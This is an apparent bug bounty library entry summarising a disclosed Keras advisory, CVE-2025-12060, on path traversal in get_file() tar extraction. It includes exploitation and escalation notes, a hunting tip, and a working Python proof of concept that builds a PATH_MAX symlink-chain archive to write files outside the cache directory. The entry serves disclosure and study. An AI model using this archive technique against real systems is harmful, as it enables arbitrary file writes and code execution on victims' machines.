# Keras Directory Traversal Vulnerability

Keras get_file() extracts tar archives via tarfile.extractall() without filter='data', letting a PATH_MAX symlink-chain archive write files outside the cache directory.

- Payout: Research
- Severity: high
- Program: Keras
- Found by (vendor credit): Krishna Gudimetla
- Found by: ready-research
- Disclosed: 2025-12-02
- CVE: CVE-2025-12060
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-hjqc-jx6g-rwp9
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-hjqc-jx6g-rwp9
- Tags: area:ai domain:ai domain:oss impact:integrity kind:research platform:ghsa sev:high tech:python technique:incomplete-fix technique:source-review vuln:path-traversal

**Target:** keras.utils.get_file() archive extraction (tarfile.extractall)
**Root cause:** extract_archive() calls tarfile.extractall() without filter='data'; filter_safe_paths() validates parsed members, but the PATH_MAX symlink resolution failure happens during extraction and falls back to literal path interpretation, bypassing the filter.
**Steps:**
1. Build a tar.gz with a 16-step chain of long-named directories (247-char names on Linux) each paired with a symlink, so resolution exceeds PATH_MAX.
2. Add a final symlink whose linkname is `../` repeated len(steps) times, then a regular file at `linkpath + "/../../../exploit/keras_pwned.txt"`.
3. Serve the archive over HTTP and call `keras.utils.get_file("keras_dataset", url, cache_dir=..., extract=True)`.
4. Observe keras_pwned.txt written outside the cache directory; the same archive with `tar.extractall(..., filter="data")` is blocked.
**How found:** Reporter noticed Keras relied on filter_safe_paths() instead of tarfile's built-in filter='data', then reasoned that member-level filtering runs before extraction while the PATH_MAX symlink resolution bug triggers during extraction, so a long symlink chain could slip past the filter.
**Exploitation:** Attacker hosts a malicious dataset archive (or compromises a dataset repo) that a victim fetches via get_file(extract=True); the crafted symlink chain causes arbitrary file write outside the cache dir, enabling config tampering, script overwrite/code injection, or planted files in containerized ML pipelines.
**Escalation:** Arbitrary file write can overwrite scripts/configs for code execution or plant files for exfiltration; supply-chain compromise of dataset repos scales it.
**Insight:** When a library hand-rolls tar member filtering instead of using tarfile's filter='data', look for TOCTOU-style gaps: checks on parsed TarInfo vs. filesystem behavior during extractall (symlink resolution, PATH_MAX, hardlinks). Build symlink chains long enough to break resolution and test whether the fallback is literal-path interpretation.

## Proof of concept (copied exactly from the original report)

**Malicious tar with PATH_MAX symlink chain**

```
comp = 'd' * (55 if sys.platform == 'darwin' else 247)
steps = "abcdefghijklmnop"  # 16-step symlink chain
path = ""

with tarfile.open("keras_dataset.tgz", mode="w:gz") as tar:
    print("Creating deep symlink chain...")
    
    # Build the symlink chain that will exceed PATH_MAX during resolution
    for i, step in enumerate(steps):
        # Directory with long name
        dir_info = tarfile.TarInfo(os.path.join(path, comp))
        dir_info.type = tarfile.DIRTYPE
        tar.addfile(dir_info)
        
        # Symlink pointing to that directory
        link_info = tarfile.TarInfo(os.path.join(path, step))
        link_info.type = tarfile.SYMTYPE
        link_info.linkname = comp
        tar.addfile(link_info)
        
        path = os.path.join(path, comp)
        
        if i < 3 or i % 4 == 0:  # Print progress for first few and every 4th
            print(f"  Step {i+1}: {step} -> {comp[:20]}...")
    
    # Create the final symlink that exceeds PATH_MAX
    # This is where the symlink resolution breaks down
    long_name = "x" * 254
    linkpath = os.path.join("/".join(steps), long_name)
    
    max_link = tarfile.TarInfo(linkpath)
    max_link.type = tarfile.SYMTYPE
    max_link.linkname = ("../" * len(steps))
    tar.addfile(max_link)
    
    print(f"✓ Created PATH_MAX symlink: {len(linkpath)} characters")
    print(f"  Points to: {'../' * len(steps)}")
    
    # Exploit file through the broken symlink resolution
    exploit_path = linkpath + "/../../../exploit/keras_pwned.txt"
    exploit_content = b"KERAS VULNERABILITY CONFIRMED!\nThis file was created outside the cache directory!\nKeras get_file() is vulnerable to PATH_MAX symlink attacks!\n"
    
    exploit_file = tarfile.TarInfo(exploit_path)
    exploit_file.type = tarfile.REGTYPE
    exploit_file.size = len(exploit_content)
    tar.addfile(exploit_file, fileobj=io.BytesIO(exploit_content))
```

**Vulnerable keras.utils.get_file call with extract**

```
extracted_path = get_file(
        "keras_dataset",
        url,
        cache_dir=str(cache_dir),
        extract=True
    )
```

